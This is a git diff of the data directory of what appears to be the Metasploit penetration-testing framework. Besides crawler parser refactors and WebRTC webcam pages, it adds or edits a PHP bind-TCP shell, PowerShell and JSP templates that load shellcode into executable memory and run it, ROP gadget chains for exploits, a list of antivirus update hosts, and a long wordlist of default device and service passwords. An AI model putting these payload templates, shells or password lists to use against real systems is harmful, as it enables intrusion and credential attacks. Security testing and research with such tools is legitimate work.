urltohash('GET',hr,request['uri'],nil) - - insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" + doc = Nokogiri::HTML(result.body.to_s) + doc.css('link').each do |link| + hr = link['href'] + if hr && !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET', hr, request['uri'], nil) + insertnewpath(hreq) + rescue URI::InvalidURIError + end end - end + end end end diff --git a/data/msfcrawler/objects.rb b/data/msfcrawler/objects.rb index 68a53e2382..fe69846cb1 100755 --- a/data/msfcrawler/objects.rb +++ b/data/msfcrawler/objects.rb @@ -13,36 +13,25 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerObjects < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end - + return unless result['Content-Type'].include?('text/html') # TOOD: use MIXIN hr = '' m = '' - - doc = Hpricot(result.body.to_s) - doc.search("//object/embed").each do |obj| - + doc = Nokogiri::HTML(result.body.to_s) + doc.xpath("//object/embed").each do |obj| s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) - + hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" end end end + end diff --git a/data/msfcrawler/scripts.rb b/data/msfcrawler/scripts.rb index 3789842344..a28a0a0470 100755 --- a/data/msfcrawler/scripts.rb +++ b/data/msfcrawler/scripts.rb @@ -13,36 +13,27 @@ require 'rubygems' require 'pathname' -require 'hpricot' +require 'nokogiri' require 'uri' class CrawlerScripts < BaseParser def parse(request,result) - - if !result['Content-Type'].include? "text/html" - return - end + return unless result['Content-Type'].include? "text/html" hr = '' m = '' - - doc = Hpricot(result.body.to_s) - doc.search("//script").each do |obj| - + doc = Nokogiri::HTML(result.body.to_s) + doc.xpath("//script").each do |obj| s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) - + hreq = urltohash('GET', s, request['uri'], nil) insertnewpath(hreq) - - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" end end + end + end diff --git a/data/php/bind_tcp.php b/data/php/bind_tcp.php index a92dfb864e..a987fd4b31 100755 --- a/data/php/bind_tcp.php +++ b/data/php/bind_tcp.php @@ -9,24 +9,27 @@ if (is_callable('stream_socket_server')) { $srvsock = stream_socket_server("tcp://{$ipaddr}:{$port}"); if (!$srvsock) { die(); } $s = stream_socket_accept($srvsock, -1); + fclose($srvsock); $s_type = 'stream'; } elseif (is_callable('socket_create_listen')) { $srvsock = socket_create_listen(AF_INET, SOCK_STREAM, SOL_TCP); if (!$res) { die(); } $s = socket_accept($srvsock); + socket_close($srvsock); $s_type = 'socket'; } elseif (is_callable('socket_create')) { $srvsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $res = socket_bind($srvsock, $ipaddr, $port); if (!$res) { die(); } $s = socket_accept($srvsock); + socket_close($srvsock); $s_type = 'socket'; } else { die(); } if (!$s) { die(); } -switch ($s_type) { +switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } @@ -40,7 +43,7 @@ $len = $a['len']; $b = ''; while (strlen($b) < $len) { - switch ($s_type) { + switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } diff --git a/data/php/hop.php b/data/php/hop.php new file mode 100644 index 0000000000..c9f323657a --- /dev/null +++ b/data/php/hop.php @@ -0,0 +1,68 @@ + + + + + + 9 + + + + pop ecx # ret + push eax # pop esp # ret + pop eax # ret + ptr to CreateFileMappingA() + call [eax] # ret + HANDLE hFile + LPSECURITY_ATTRIBUTES lpAttributes + DWORD flProtect + DWORD dwMaximumSizeHigh + DWORD dwMaximumSizeHigh + LPCTSTR lpName + pop edi # ret + pop ebp # pop ebx # pop ecx # ret + pop ebx # ret + pop eax # ret + pop ecx # ret + ptr to MapViewOfFile() + mov edx, ecx + pop ecx # ret + call [eax] # ret + pushad # add al, 0 # ret + DWORD dwDesiredAccess + DWORD dwFileOffsetHigh + DWORD dwFileOffsetLow + SIZE_T dwNumberOfBytesToMap + pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret + jmp IAT msvcr80!memcpy + ret + JUNK + memcpy length + JUNK + xchg eax, ebp # ret + pushad # add al, 0 # ret + + + + + + 10 + + + + pop ecx # ret + push eax # pop esp # ret + pop eax # ret + ptr to CreateFileMappingA() + call [eax] # ret + HANDLE hFile + LPSECURITY_ATTRIBUTES lpAttributes + DWORD flProtect + DWORD dwMaximumSizeHigh + DWORD dwMaximumSizeHigh + LPCTSTR lpName + pop edi # ret + pop ebp # pop ebx # pop ecx # ret + pop ebx # ret + pop eax # ret + pop ecx # ret + ptr to MapViewOfFile() + mov edx, ecx + pop ecx # ret + call [eax] # ret + pushad # add al, 0 # ret + DWORD dwDesiredAccess + DWORD dwFileOffsetHigh + DWORD dwFileOffsetLow + SIZE_T dwNumberOfBytesToMap + pop edi # pop esi # pop ebp # pop ebx # pop ecx # ret + jmp to IAT msvcr90!memcpy + ret + JUNK + memcpy length + JUNK + xchg eax, ebp # ret + pushad # add al, 0 # ret + + + + + + 11 + + + + pop ecx # ret + push eax # pop esp # ret + pop eax # ret + ptr to CreateFileMappingA() + call [eax] # ret + HANDLE hFile + LPSECURITY_ATTRIBUTES lpAttributes + DWORD flProtect + DWORD dwMaximumSizeHigh + DWORD dwMaximumSizeHigh + LPCTSTR lpName + pop edi # ret + JUNK + pop ebx # pop esi # pop ebp # ret + pop eax # ret + pop esi # pop ebp # ret + JUNK + pop ecx # ret + call [eax] # ret + pop edx # ret + ptr to MapViewOfFile() + pushad # add al, 0 # pop ebp # ret + DWORD dwDesiredAccess + DWORD dwFileOffsetHigh + DWORD dwFileOffsetLow + SIZE_T dwNumberOfBytesToMap + pop edi # pop esi # pop ebp # ret + memcpy address + call eax # ret + memcpy address + xchg eax, ebp # ret + pop ebx # ret + memcpy length + pop edx # ret + pop edx # ret + pushad # add al, 0 # pop ebp # ret + + + \ No newline at end of file diff --git a/data/templates/scripts/to_exe_jsp.war.template b/data/templates/scripts/to_exe_jsp.war.template index 3797d576c1..43fc99d8ea 100644 --- a/data/templates/scripts/to_exe_jsp.war.template +++ b/data/templates/scripts/to_exe_jsp.war.template @@ -39,11 +39,13 @@ if (%{var_proc}.waitFor() == 0) { %{var_proc} = Runtime.getRuntime().exec(%{var_exepath}); } - + File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete(); - } - else + } + else { - Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath}); + String[] %{var_exepatharray} = new String[1]; + %{var_exepatharray}[0] = %{var_exepath}; + Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray}); } %%> diff --git a/data/templates/scripts/to_mem_old.ps1.template b/data/templates/scripts/to_mem_old.ps1.template index bbd85c1bfb..772fef7baf 100644 --- a/data/templates/scripts/to_mem_old.ps1.template +++ b/data/templates/scripts/to_mem_old.ps1.template @@ -11,10 +11,10 @@ $%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -n %{shellcode} -$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40) +$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length,0x1000),0x3000,0x40) for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) { - $%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null + $%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null } $%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0) diff --git a/data/templates/scripts/to_mem_pshreflection.ps1.template b/data/templates/scripts/to_mem_pshreflection.ps1.template new file mode 100644 index 0000000000..d1a83daf0c --- /dev/null +++ b/data/templates/scripts/to_mem_pshreflection.ps1.template @@ -0,0 +1,27 @@ +function %{func_get_proc_address} { + Param ($%{var_module}, $%{var_procedure}) + $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') + + return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure})) +} + +function %{func_get_delegate_type} { + Param ( + [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters}, + [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void] + ) + + $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed') + $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed') + + return $%{var_type_builder}.CreateType() +} + +[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}") + +$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40) +[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length) + +$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero) +[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null \ No newline at end of file diff --git a/data/templates/template_x64_windows.dll b/data/templates/template_x64_windows.dll index ac1106c823..9c524a6a98 100755 Binary files a/data/templates/template_x64_windows.dll and b/data/templates/template_x64_windows.dll differ diff --git a/data/templates/template_x86_windows.dll b/data/templates/template_x86_windows.dll index 27041fae57..a44e2dc650 100755 Binary files a/data/templates/template_x86_windows.dll and b/data/templates/template_x86_windows.dll differ diff --git a/data/vncdll.dll b/data/vncdll.dll deleted file mode 100755 index f0bd4da8a5..0000000000 Binary files a/data/vncdll.dll and /dev/null differ diff --git a/data/vncdll.x64.dll b/data/vncdll.x64.dll index c8d1ff48d8..6922fb2511 100755 Binary files a/data/vncdll.x64.dll and b/data/vncdll.x64.dll differ diff --git a/data/vncdll.x86.dll b/data/vncdll.x86.dll new file mode 100755 index 0000000000..4dd5b516cd Binary files /dev/null and b/data/vncdll.x86.dll differ diff --git a/data/webcam/answerer.html b/data/webcam/answerer.html new file mode 100644 index 0000000000..13542c299d --- /dev/null +++ b/data/webcam/answerer.html @@ -0,0 +1,194 @@ + + +webcam_chat + + + + + +
+
+
+
+
+
+ Session status (=RHOST=):

+ +
+
+ + + \ No newline at end of file diff --git a/data/webcam/api.js b/data/webcam/api.js new file mode 100644 index 0000000000..26e4d256dc --- /dev/null +++ b/data/webcam/api.js @@ -0,0 +1,363 @@ +// Muaz Khan - https://github.com/muaz-khan +// MIT License - https://www.webrtc-experiment.com/licence/ +// Documentation - https://github.com/muaz-khan/WebRTC-Experiment/tree/master/websocket + +(function () { + + window.PeerConnection = function (socketURL, userid) { + this.userid = userid || getToken(); + this.peers = {}; + + if (!socketURL) throw 'Socket-URL is mandatory.'; + + new Signaler(this, socketURL); + + this.addStream = function(stream) { + this.MediaStream = stream; + }; + }; + + function Signaler(root, socketURL) { + var self = this; + + root.startBroadcasting = function () { + if(!root.MediaStream) throw 'Offerer must have media stream.'; + + (function transmit() { + socket.send({ + userid: root.userid, + broadcasting: true + }); + !self.participantFound && + !self.stopBroadcasting && + setTimeout(transmit, 3000); + })(); + }; + + root.sendParticipationRequest = function (userid) { + socket.send({ + participationRequest: true, + userid: root.userid, + to: userid + }); + }; + + // if someone shared SDP + this.onsdp = function (message) { + var sdp = message.sdp; + + if (sdp.type == 'offer') { + root.peers[message.userid] = Answer.createAnswer(merge(options, { + MediaStream: root.MediaStream, + sdp: sdp + })); + } + + if (sdp.type == 'answer') { + root.peers[message.userid].setRemoteDescription(sdp); + } + }; + + root.acceptRequest = function (userid) { + root.peers[userid] = Offer.createOffer(merge(options, { + MediaStream: root.MediaStream + })); + }; + + var candidates = []; + // if someone shared ICE + this.onice = function (message) { + var peer = root.peers[message.userid]; + if (peer) { + peer.addIceCandidate(message.candidate); + for (var i = 0; i < candidates.length; i++) { + peer.addIceCandidate(candidates[i]); + } + candidates = []; + } else candidates.push(candidates); + }; + + // it is passed over Offer/Answer objects for reusability + var options = { + onsdp: function (sdp) { + socket.send({ + userid: root.userid, + sdp: sdp, + to: root.participant + }); + }, + onicecandidate: function (candidate) { + socket.send({ + userid: root.userid, + candidate: candidate, + to: root.participant + }); + }, + onStreamAdded: function (stream) { + console.debug('onStreamAdded', '>>>>>>', stream); + + stream.onended = function () { + if (root.onStreamEnded) root.onStreamEnded(streamObject); + }; + + var mediaElement = document.createElement('video'); + mediaElement.id = root.participant; + mediaElement[isFirefox ? 'mozSrcObject' : 'src'] = isFirefox ? stream : window.webkitURL.createObjectURL(stream); + mediaElement.autoplay = true; + mediaElement.controls = true; + mediaElement.play(); + + var streamObject = { + mediaElement: mediaElement, + stream: stream, + userid: root.participant, + type: 'remote' + }; + + function afterRemoteStreamStartedFlowing() { + if (!root.onStreamAdded) return; + root.onStreamAdded(streamObject); + } + + afterRemoteStreamStartedFlowing(); + } + }; + + function closePeerConnections() { + self.stopBroadcasting = true; + if (root.MediaStream) root.MediaStream.stop(); + + for (var userid in root.peers) { + root.peers[userid].peer.close(); + } + root.peers = {}; + } + + root.close = function () { + socket.send({ + userLeft: true, + userid: root.userid, + to: root.participant + }); + closePeerConnections(); + }; + + window.onbeforeunload = function () { + root.close(); + }; + + window.onkeyup = function (e) { + if (e.keyCode == 116) + root.close(); + }; + + function onmessage(e) { + var message = JSON.parse(e.data); + + if (message.userid == root.userid) return; + root.participant = message.userid; + + // for pretty logging + console.debug(JSON.stringify(message, function (key, value) { + if (value && value.sdp) { + console.log(value.sdp.type, '---', value.sdp.sdp); + return ''; + } else return value; + }, '---')); + + // if someone shared SDP + if (message.sdp && message.to == root.userid) { + self.onsdp(message); + } + + // if someone shared ICE + if (message.candidate && message.to == root.userid) { + self.onice(message); + } + + // if someone sent participation request + if (message.participationRequest && message.to == root.userid) { + self.participantFound = true; + + if (root.onParticipationRequest) { + root.onParticipationRequest(message.userid); + } else root.acceptRequest(message.userid); + } + + // if someone is broadcasting himself! + if (message.broadcasting && root.onUserFound) { + root.onUserFound(message.userid); + } + + if (message.userLeft && message.to == root.userid) { + closePeerConnections(); + } + } + + var socket = socketURL; + if(typeof socketURL == 'string') { + socket = new WebSocket(socketURL); + socket.push = socket.send; + socket.send = function (data) { + socket.push(JSON.stringify(data)); + }; + + socket.onopen = function () { + console.log('websocket connection opened.'); + }; + } + socket.onmessage = onmessage; + } + + var RTCPeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection; + var RTCSessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription; + var RTCIceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate; + + navigator.getUserMedia = navigator.mozGetUserMedia || navigator.webkitGetUserMedia; + window.URL = window.webkitURL || window.URL; + + var isFirefox = !!navigator.mozGetUserMedia; + var isChrome = !!navigator.webkitGetUserMedia; + + var STUN = { + url: isChrome ? 'stun:stun.l.google.com:19302' : 'stun:23.21.150.121' + }; + + var TURN = { + url: 'turn:homeo@turn.bistri.com:80', + credential: 'homeo' + }; + + var iceServers = { + iceServers: [STUN] + }; + + if (isChrome) { + if (parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2]) >= 28) + TURN = { + url: 'turn:turn.bistri.com:80', + credential: 'homeo', + username: 'homeo' + }; + + iceServers.iceServers = [STUN, TURN]; + } + + var optionalArgument = { + optional: [{ + DtlsSrtpKeyAgreement: true + }] + }; + + var offerAnswerConstraints = { + optional: [], + mandatory: { + OfferToReceiveAudio: true, + OfferToReceiveVideo: true + } + }; + + function getToken() { + return Math.round(Math.random() * 9999999999) + 9999999999; + } + + function onSdpError() {} + + // var offer = Offer.createOffer(config); + // offer.setRemoteDescription(sdp); + // offer.addIceCandidate(candidate); + var Offer = { + createOffer: function (config) { + var peer = new RTCPeerConnection(iceServers, optionalArgument); + + if (config.MediaStream) peer.addStream(config.MediaStream); + peer.onaddstream = function (event) { + config.onStreamAdded(event.stream); + }; + + peer.onicecandidate = function (event) { + if (event.candidate) + config.onicecandidate(event.candidate); + }; + + peer.createOffer(function (sdp) { + peer.setLocalDescription(sdp); + config.onsdp(sdp); + }, onSdpError, offerAnswerConstraints); + + this.peer = peer; + + return this; + }, + setRemoteDescription: function (sdp) { + this.peer.setRemoteDescription(new RTCSessionDescription(sdp)); + }, + addIceCandidate: function (candidate) { + this.peer.addIceCandidate(new RTCIceCandidate({ + sdpMLineIndex: candidate.sdpMLineIndex, + candidate: candidate.candidate + })); + } + }; + + // var answer = Answer.createAnswer(config); + // answer.setRemoteDescription(sdp); + // answer.addIceCandidate(candidate); + var Answer = { + createAnswer: function (config) { + var peer = new RTCPeerConnection(iceServers, optionalArgument); + + if (config.MediaStream) peer.addStream(config.MediaStream); + peer.onaddstream = function (event) { + config.onStreamAdded(event.stream); + }; + + peer.onicecandidate = function (event) { + if (event.candidate) + config.onicecandidate(event.candidate); + }; + + peer.setRemoteDescription(new RTCSessionDescription(config.sdp)); + peer.createAnswer(function (sdp) { + peer.setLocalDescription(sdp); + config.onsdp(sdp); + }, onSdpError, offerAnswerConstraints); + + this.peer = peer; + + return this; + }, + addIceCandidate: function (candidate) { + this.peer.addIceCandidate(new RTCIceCandidate({ + sdpMLineIndex: candidate.sdpMLineIndex, + candidate: candidate.candidate + })); + } + }; + + function merge(mergein, mergeto) { + for (var t in mergeto) { + mergein[t] = mergeto[t]; + } + return mergein; + } + + window.URL = window.webkitURL || window.URL; + navigator.getMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia; + navigator.getUserMedia = function(hints, onsuccess, onfailure) { + if(!hints) hints = {audio:true,video:true}; + if(!onsuccess) throw 'Second argument is mandatory. navigator.getUserMedia(hints,onsuccess,onfailure)'; + + navigator.getMedia(hints, _onsuccess, _onfailure); + + function _onsuccess(stream) { + onsuccess(stream); + } + + function _onfailure(e) { + if(onfailure) onfailure(e); + else throw Error('getUserMedia failed: ' + JSON.stringify(e, null, '\t')); + } + }; + +})(); \ No newline at end of file diff --git a/data/webcam/offerer.html b/data/webcam/offerer.html new file mode 100644 index 0000000000..8bd7cb5a48 --- /dev/null +++ b/data/webcam/offerer.html @@ -0,0 +1,202 @@ + + + Video session + + + + + + +
+ You peer +
+ +
+
+
+ +
+ You +
+ +
+ Status:

+ Waiting for your peer to join the video session... +
+ + + + + \ No newline at end of file diff --git a/data/wordlists/av-update-urls.txt b/data/wordlists/av-update-urls.txt new file mode 100644 index 0000000000..39e85cfa08 --- /dev/null +++ b/data/wordlists/av-update-urls.txt @@ -0,0 +1,28 @@ +www.es-web.sophos.com +www.es-web.sophos.com.edgesuite.net +www.es-web-2.sophos.com +www.es-web-2.sophos.com.edgesuite.net +www.dnl-01.geo.kaspersky.com +www.downloads2.kaspersky-labs.com +www.liveupdate.symantecliveupdate.com +www.liveupdate.symantec.com +www.update.symantec.com +www.update.nai.com +www.download797.avast.com +www.guru.avg.com +www.osce8-p.activeupdate.trendmicro.com +www.forefrontdl.microsoft.com +es-web.sophos.com +es-web.sophos.com.edgesuite.net +es-web-2.sophos.com +es-web-2.sophos.com.edgesuite.net +dnl-01.geo.kaspersky.com +downloads2.kaspersky-labs.com +liveupdate.symantecliveupdate.com +liveupdate.symantec.com +update.symantec.com +update.nai.com +download797.avast.com +guru.avg.com +osce8-p.activeupdate.trendmicro.com +forefrontdl.microsoft.com diff --git a/data/wordlists/default_pass_for_services_unhash.txt b/data/wordlists/default_pass_for_services_unhash.txt new file mode 100644 index 0000000000..7203bcda29 --- /dev/null +++ b/data/wordlists/default_pass_for_services_unhash.txt @@ -0,0 +1,1214 @@ +admin + +password +1234 +epicrouter +sysadm +access +root +tech +smcadmin +0 +pass +system +PASSWORD +Symbol +guest +bintec +security +synnet +manager +adtran +motorola +smile +cascade +BRIDGE +netman +super +switch +setup +changeme +operator +user +Cisco +Manager +TJM +apc +cisco +letmein +router +trancell +ascend +friend +NetICs +blender +netscreen +SKY_FOX +public +Master +default +laflaf +cmaker +RSX +Posterie +private +attack +monitor +xdfk9874t3 +netopia +Col2ogro2 +microbusiness +op +OCS +secure +atlantis +sysadmin +5777364 +echo +maint +SESAME +danger +lucenttech2 +d.e.b.u.g +hello +SYSTEM +calvin +xxyyzz +highspeed +123 +Sharp +mysweex +4tas +masterkey +0000 +permit +barricade +support +tslinux +hp.com +recovery +PASSW0RD +engineer +administrator +pwp +isee +NETWORK +JDE +superuser +Super +admin123 +surt +rwa +123456 +NetCache +ADTRAN +USER +test +extendnet +ironport +lp +1111 +PASS +ro +Ascend +_Cisco +MAIL +sitecom +hsadb +CAROLIAN +ADMINISTRATOR +sysAdmin +tini +Helpdesk +SERVICE +PBX +FIELD.SUPPORT +sys +abc123 +1502 +star +MGR.SYS +anicust +Administrator +Intel +12345 +lucenttech1 +secret +piranha +wlsedb +l3 +diamond +naadmin +1988 +radius +MANAGER.SYS +raidzone +3ascotel +HPOFFICE +demo +166816 +Password +zoomadsl +D-Link +l2 +CCC +rw +cgadmin +specialist +NetVCR +COGNOS +q +MServer +cms500 +davox +enquirypw +at4400 +h179350 +asd +240653C9467E45 +atc123 +admin_1 +266344 +WORD +ITF3000 +connect +HPONLY +nmspw +client +comcomcom +speedxess +ROBELLE +uplink +SYS +letacla +FORCE +REMOTE +backdoor +CNAS +22222 +gen2 +medion +admn +56789 +PRODDTA +tellabs#1 +dadmin01 +dhs3mt +SECURITY +changeme! +llatsni +adfexc +Asante +!manage +21241036 +TELESUP +crftpw +help +lantronix +netadmin +HP +SUPPORT +VESOFT +$secure$ +OP.OPERATOR +hs7mwxkk +patrol +SUPER +SMDR +1064 +DISC +cellit +INTX3 +inads +tlah +wyse +locatepw +visual +r@p8p0r+ +xbox +TENmanUFactOryPOWER +device +NICONEX +admin1234 +fivranne +acc +31994 +bcimpw +bluepw +PlsChgMe +R1QTPS +ccrusr +MPE +telecom +gen1 +SSA +snmp-Trap +HTTP +mtch +adslolitec +ganteng +bciimpw +browsepw +Admin +change_on_install +changeme2 +Exabyte +rmnetlm +replicator +intel +HPP196 +radware +intermec +mlusr +RJE +LOTUS +initpw +e250changeme +SpIp +adminttd +field +supportpw +MiniAP +RIP000 +XLSERVER +HPP187 +HPP189 +indspw +linga +craft +enter +NAU +rcustpw +AitbISP4eCiG +mtcl +CONV +bcnaspw +NETBASE +REGO +cacadmin +mediator +talent +kermit +x-admin +HPDESK +9999 +ROOT500 +my_DEMARC +volition +GlobalAdmin +4getme2 +UI-PSWD-01 +2222 +UI-PSWD-02 +TCH +Fireport +ILMI +maintpw +supervisor +e500changeme +mu +NULL +custpw +noway +tiaranet +bcmspw +TANDBERG +m1122 +telco +xd +dhs3pms +winterm +craftpw +rwmaint +any@ +looker +none +MANAGER +1234admin +MGR +tuxalize +timely +User +8429 +manage +Babylon +hagpolm1 +scmchangeme +tivonpw +installer +webadmin +pbxk1064 +19920706 +pento +NetSurvibox +D_SYSTPW +3477 +$chwarzepumpe +asecret +10023 +help1954 +corecess +master +Protector +HPWORD +symbol +weblogic +sys/change_on_install +3ep5w2u +8111 +jannie +tomcat +pilou +3ware +ANYCOM +tiger123 +asante +smallbusiness +ntacdmax +w2402 +wlsepassword +kilo1987 +articon +michelangelo +Mau'dib +Serial +ggdaseuaimhrke +maintain +syslib +init +PUBSUB +CTXSYS +bill +60020 +dmr99 +GUEST +06071992 +Trintech +otbu+1 +Multi +babbit +w0rkplac3rul3s +Telecom +qsysopr +imss7.0 +nokia +APPS +isdev +mail +draadloos +qsecofr +default.password +5678 +nimdaten +456 +P@55w0rd! +par0t +db2fenc1 +control +isp +QSRV +iDirect +MDSYS +vpasp +TEST +QSECOFR +2501 +leviton +blank +informix +mpegvideo +games +0P3N +hawk201 +scout +qpgmr +admin000 +expert03 +images +surecom +Geardog +symantec +adslroot +xyzzy +adaptec +serial# +BACKUP +stratauser +rootme +!root +webibm +riverhead +COMPANY +DSL +amber +eagle +brightmail +HEWITT +ods +toplayer +OkiLAN +rootpass +wrgg15_di524 +x40rocks +nokai +Admin1 +ImageFolio +iolan +pfsense +sales +iscopy +OEM_TEMP +RSAAppliance +themaster01 +ANS#150 +passwort +welcome +NetSeq +BRIO_ADMIN +citel +oracle +kn1TG7psLu +SYSPASS +lkwpeter +DEV2000_DEMOS +checkfs +USER1 +resumix +HELP +logapp +0RACLE9 +0RACLE8 +57gbzb +qsrvbas +sldkj754 +STRAT_PASSWD +19750407 +USERP +primeos +OEMREP +[^_^] +USER6 +TTPTHA +powerdown +Mau’dib +ORACL3 +nimda +DEMO +2WSXcder +ALLIN1 +sysadmpw +QSRVBAS +ip305Beheer +ACCORD +AQJAVA +LASERWRITER +nsi +PERFSTAT +MBWATCH +protection +unix +OWNER +NETPRIV +AWARD?SW +changethis +SYMPA +REP_OWNER +DCL +dbps +ARCHIVIST +basisk +demos +NETMGR +OAS_PUBLIC +AP +j5Brn9 +MTSSYS +DIGITAL +AUDIOUSER +teX1 +allot +$SRV +0RACLE +nicecti +ROOT +PRINTER +m1link +l1 +trouble +trendimsa1.0 +HOST +ADLDEMO +QS_ADM +AMI +OPER +PO7 +komprie +MAINT +toor +AMISETUP +sp99dd +halt +MSHOME +secacm +3Com +db2admin +Airaya +visor +Wireless +IMEDIA +Biostar +install +primos +infrant1 +Partner +Administrative +USER_TEMPLATE +pnadmin +h6BB +lpadmin +VTAM +TRACE +POSTMASTER +MAILER +QS_WS +sma +system_admin +nobody +Tasmannet +!admin +DISCOVERER_ADMIN +LR-ISDN +TURBINE +GL +PO +AMI_SW +superpass +YES +GATEWAY +PRIMARY +award.sw +lucy99 +pwpw +EMP +cclfb +SITEMINDER +Any +vgnadmin +NEWS +Ektron +Award +AQUSER +UTLESTAT +AMIAMI +netbotz +CHANGE_ON_INSTALL +sap123 +Crystal +Daewuu +ftp +(random +MCUser1 +admpw +rootadmin +PM +ULTIMATE +role1 +enhydra +NF +EVENT +xyzall +rainbow +JETSPEED +PORTAL30_SSO_PS +OO +WKSYS +OPERATNS +ksdjfg934t +merlin +OE +Local +OCITEST +HLT +last +CTXDEMO +zebra +QDBA +LRISDN +tele +WEBCAL01 +rsadmin +ORACLE +alien +sanfran +ReadOnly +AMIPSWD +MOREAU +abd234 +QNX +dnnhost +sertafu +ORDPLUGINS +telos +ADMIN +adminpass +crash +ACCESS +SDOS_ICSAP +adminpwd +BATCH +GUESTGUEST +SYSMAINT +postmast +DSSYS +award_ps +ZAAADA +MGWUSER +NTCIP +hewlpack +TDOS_ICSAP +ssp +EJSADMIN +damin +INGRES +A.M.I +1322222 +VCSRV +storageserver +ssladmin +CLOTH +shutdown +OEMADM +restoreonly1 +quser +MILLER +trmcnfg +REPORT +aLLy +tour +mountfsys +PROG +iwill +Public +mp3mystic +hpt +peribit +STARTER +GUESTGUE +guardone +daemon +mountsys +ORACLE9 +ORACLE8 +gandalf +backuponly1 +leaves +syspw +blablabla +Compleri +USER3 +OPENSPIRIT +spooml +changeit +wg +Vextrex +qsvr +lynx +Sysop +IMAGEUSER +bsxpass +USER9 +ax400 +OPERATOR +Mau?dib +MASTER +t00lk1t +Daytec +SZYX +CTX_123 +rje +MTRPW +QS_ES +mysecretpassword0* +GPLD +uucp +DBSNMP +TSEUG +SWUSER +8RttoTriz +Operator +honey +accounting +backuprestore1 +PRINT +j322 +Craftr4 +dni +*3noguru +FAX +anon +j256 +USER8 +PORTAL30_SSO_PUBLIC +589721 +WINSABRE +shs +PORTAL30_SSO +ALLIN1MAIL +xo11nE +nms +SYSADM +me +NFI +SECDEMO +AR#Admin# +ORAREGSYS +SNOWMAN +LASER +?award +WLAN_AP +WWW +VAX +Cable-docsis +UNKNOWN +LdapPassword_1 +3 +Zenith +setup/nopasswd +DSGATEWAY +CSMIG +year2000 +umountfsys +BIGO +jstwo +VMS +bpel +viewuser1 +ISPMODE +correct +conexant +ip3000 +COMPIERE +OSP22 +guest1 +FORSE +lesarotl +factory +(unknown) +ip20 +ip21 +QUSER +AWARD +prime +tr650 +poll +j262 +xljlbj +glftpd +Advance +RMAN +mountfs +console +firstsite +SW_AWARD +snake +Gateway +TSUSER +123123 